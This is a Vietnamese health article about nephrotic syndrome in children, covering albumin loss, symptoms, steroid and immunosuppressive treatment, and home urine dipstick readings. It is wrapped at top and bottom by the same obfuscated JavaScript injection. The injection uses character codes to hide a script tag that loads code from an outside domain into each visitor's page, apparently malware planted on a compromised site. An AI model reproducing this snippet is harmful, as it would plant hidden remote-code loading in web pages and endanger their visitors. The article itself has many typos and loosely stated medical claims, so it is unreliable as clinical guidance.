Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Hội chứng thận hư ở trẻ em

Theo thống kê, có khoảng 1/50.000 trẻ em được chẩn đoán mắc Hội chứng thận hư mỗi năm. Trong bài viết này, Jade House (www.jadehousevn.com) xin chia sẻ những điều cần chú ý khi trẻ được chẩn đoán Hội chứng thận hư này.

Hội chứng thận hư ở trẻ em là gì?

Hội chứng thận hư xảy ra một lượng lớn protein (cụ thể hơn là albumin) bị mất qua nước tiểu. Lượng albumin bị mất này đủ để gây giảm protein máu. Mặt khác, protein có tác dụng giữ nước trong lòng mạch, khi protein máu thấp đạt ngưỡng, nước sẽ thoát từ lòng mạch ra mô kẽ.

Khi albumin bị mất qua nước tiểu, trong đó có một số loại protein đặc biệt còn gọi là kháng thể cũng bị mất đi. Kháng thể đóng vai trò rất quan trọng, giúp cơ thể chống lại sự tấn công của vi khuẩn gây bệnh. Vì vậy trẻ bị hội chứng thận hư có nguy cơ bị nhiễm trùng cao khi bị mất protein. Bên cạnh đó, các yếu tố chống đông máu cũng có thể bị mất đi qua nước tiểu. Tuy hiện tượng đông máu rất hiếm khi xảy ra ở trẻ bị hội chứng thận hư nhưng nó có thể xảy ra trong trường hợp đặc biệt, khi trẻ nôn mửa và tiêu chảy kèm theo tình trạng mất nước nặng.

Hội chứng thận hư có thể dẫn đến một loạt các vấn đề, bao gồm sưng phù các mô trong cơ thể, phù chân, mắt cá nhân, bàn chân, mặt và khả năng nhiễm trùng cao. Có hiện tượng tăng hàm lượng Cholesterol và Triglycerid.

Hội chứng thận hư không phải là bệnh. Nguyên nhân gây ra hội chứng này là do các bệnh làm tổn thương các mạch máu của thận.

Nguyên nhân gây hội chứng thận hư trẻ em?

Hiện nay, các nhà khoa học vẫn chưa tìm ra nguyên nhân gây ra hội chứng thận hư, đặc biệt ở trẻ em. Dự đoán có thể do hệ thống miễn dịch hoạt động không bình thường. Hội chứng này không lây từ người này sang người khác.

Vai trò của thận đối với cơ thể

Một cơ thể người bình thường đều có hai quả thận. Cấu tạo của thận bao gồm các mạch máu nhỏ là tiểu cầu thận. Khi máu di chuyển qua các mạch này, nước và chất thải dư thừa được lọc qua nước tiểu. Protein và các chất khác mà cơ thể cần được giữ lại trong máu. Các tiểu cầu thận cho máu đi qua, lọc nước và chất thải dư thừa qua đường nước tiểu. Các chất như protein (bao gồm Albumin) và các chất khác mà cơ thể cần được giữ lại trong máu.

Khi các tiêu cầu thận hoạt động bất thường, tức là không thể lọc máu theo đúng cơ chế tự nhiên sẽ gây ra hội chứng thận hư. Sự tổn thương này làm rò rỉ các albumin vào nước tiểu và gây ra các triệu chứng như phù nề.

Albumin là một trong những protein quan trọng nhất của huyết thanh, tham gia vào 2 chức năng chính là duy trì 70-80%áp lực thẩm thấu keo trong huyết tương chiếm đến 58-74% lượng protein toàn phần.

Khi Albumin bị mất qua nước tiểu, cơ thể sẽ giữ lại lượng nước dư thừa. Điều này gây ra sưng (phù) ở chân, bàn chân, mắt cá chân và mặt.

Triệu chứng thường thấy

Những triệu chứng của Hội chứng thận hư ở trẻ em thường xuất hiện:

  • Hiện tượng sưng hay phù ở mắt cá chân, bàn chân và xung quanh vùng mắt
  • Nước tiểu có bọt
  • Cân nặng tăng do chất lỏng tích tụ trong cơ thể
  • Luôn cảm thấy mệt mỏi
  • Trẻ biếng ăn
  • Hàm lượng Cholesterol và triglyceride cao

Nếu phát hiện những dấu hiệu bất thường trên, có thể trẻ đã mắc Hội chứng thận hư, vì vậy hãy đưa trẻ đến cơ sở y tế uy tín để thăm khám và điều trị kịp thời.

Chẩn đoán & điều trị

Khi đến thăm khám, trẻ được kiểm tra huyeeys áp, chiều cao và cân nặng. Cần tiến hành xét nghiệm máu và nước tiểu giúp chẩn đoán bệnh chính xác hơn. Mỗi lần xét nghiệm chỉ lấy một lượng máu vừa đủ, phù hợp với thể trạng của trẻ nên các bậc cha mẹ có thể yên tâm rằng lượng máu mất đi sẽ được hồi hoàn nhiều hơn.

Trong quá trình dõi lượng Albumin bị mất đi qua đường bài tiết liên tiếp trong ba ngày thì chắc chắn trẻ đã mắc hội chứng thận hư. Triệu chứng phù xuất hiện đầu tiên và trẻ được kê thuốc lợi tiểu để giảm hiện tượng này. Nếu không thuyên giảm, trẻ phải nhập viện điều trị chuyên sâu bằng cách truyền Albumin.

Ngoài ra, có thể dùng que thử để theo dõi lượng apbumin bị mất đi qua nước tiểu hàng ngày ngay tại gia đình và có phương án điều trị kịp thời. Nếu nước tiểu chứa một lượng lớn protein, que thử sẽ đổi màu.

Trong một số trường hợp, khi điều trị ban đầu không hiệu quả, trẻ có thể cần làm sinh thiết thận. Một mẫu rất nhỏ của mô thận được lấy ra bằng một cây kim và quan sát dưới kính hiển vi.

Điều trị Steroid

Điều trị bằng cách sử dụng steroid giúp giảm lượng Albumin từ thận của trẻ vào nước tiểu cho lần thăm khám và phát hiện bệnh đầu tiên. Khi trẻ tái phát vẫn sử dụng phương pháp điều trị này cho đến tuổi vị thành niên. Có thể đưa trẻ đến bệnh viên nhi để các bác si điều trị chuyên khoa mang lại hiệu quả tốt.

Khi prednisolone được kê toa  trong một thời gian ngắn, thường không có tác dụng phụ nghiêm trọng hoặc lâu dài, mặc dù một số trẻ có thể gặp:

  • Tăng cảm giác ngon miệng
  • Tăng cân
  • Giảm sưng – phù tại tay, châm, vùng mắt

Tác dụng phụ khi điều trị hội chứng thận hư trẻ em

Khi sử dụng Prednisone/prednisolone cho trẻ có thể gây ra các hiện tượng phụ sua: Tăng huyết áp, tăng cân nhanh do kích thích dạ dày, tâm trạng vui vẻ hoặc cáu giận, đường trong máu tăng

Prednisone/prednisolone có thể gây đục thủy tinh thể ở mức độ thấp và không ảnh hưởng đến thị lực của trẻ. Có hiện tượng giảm chất khoáng trong xương nhưng không rõ ràng.

Thuốc lợi tiểu

Thuốc lợi tiểu, hoặc “thuốc nước”, kích thích sản xuất nước tiểu và làm giảm các chất lỏng tích tụ.

Penicillin

Penicillin là một loại kháng sinh có tác dụng giảm nguy cơ nhiễm trùng.

Tiêm chủng

Nên tiêm vacxin phế cầu khuẩn hoặc MMR, thủy đậu và BCG cho trẻ em được chẩn đoán mắc hội chứng thận thư, tránh hiện tượng nhiễm trùng đường tiết niệu gây biến chứng, ảnh hưởng đến sức khỏe của trẻ. Một số trẻ được đề nghị tiêm chủng varicella (trái rạ) giữa các lần tái phát.

Khi trẻ đang dùng thuốc điều trị, không nên tiêm chủng vacxin.

Thuốc bổ sung

Bổ sung một số loại thuốc hỗ trợ điều trị Hội chứng thận hư nếu các triệu chứng không thuyển giảm.

Các thuốc bổ sung có thể được sử dụng:

  • Levamisole
  • Cyclophosphamide
  • Ciclosporin
  • Tacrolimus
  • Mycophenolate
  • Rituximab
  • Albumin tiêm truyền

Theo dõi hội chứng thận hư trẻ em tại nhà

Hiện nay có các que thử nước tiểu khá phổ biến giúp gia đình có thể theo dõi tiến trình của bệnh tại nhà. Thử nước tiểu của trẻ trong vòng ba ngày liên tiếp nếu trẻ có các dấu hiệu đặc trưng. Hàm lượng Albumin tăng trong nước tiểu chứng tỏ trẻ bị mắc hội chứng này. Trong khi điều trị, dùng que thử giúp theo dõi sự tiến tiển của bệnh; nếu hàm lượng albumin hoặc vết giảm có nghĩa là bệnh đã thuyên giảm. Việc phát hiện sớm albumin trong nước tiểu bằng que thử có thể giảm mức độ nặng của đợt tái phát bệnh.

Bạn nên thử que nước tiểu vào buổi sáng sớm.

Kết quả kiểm tra que thử được ghi như sau:

Âm tính – 0mg protein niệu mỗi một phần mười lít nước tiểu (mg/dl)

  • Vệt – 15-30mg / dl
  • 1+ – 30-100mg / dl
  • 2+ – 100-300mg / dl
  • 3+ – 300-1000mg / dl
  • 4+ – trên 1000mg / dl

Kết quả mỗi ngày cần được ghi lại trong cuốn nhật ký cho bác sĩ hoặc y tá chuyên khoa theo dõi trong các buổi hẹn khám và điều trị ngoại trú.

Bạn cũng nên lưu ý liều lượng của tất cả các loại thuốc trẻ đang dùng và lưu ý mọi biểu hiện như trẻ có cảm thấy khỏe không.

Nếu que thăm lượng protein trong nước tiểu chỉ  3+ hoặc hơn trong 3 ngày liên tiếp, điều này có nghĩa là bệnh của trẻ bị tái phát.

Nếu điều này xảy ra, bạn cần làm theo các hướng dẫn cho trẻ bắt đầu sử dụng steroid hoặc liên hệ với bác sĩ.

(Dunji, Sưu tầm và biên soạn)

 

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();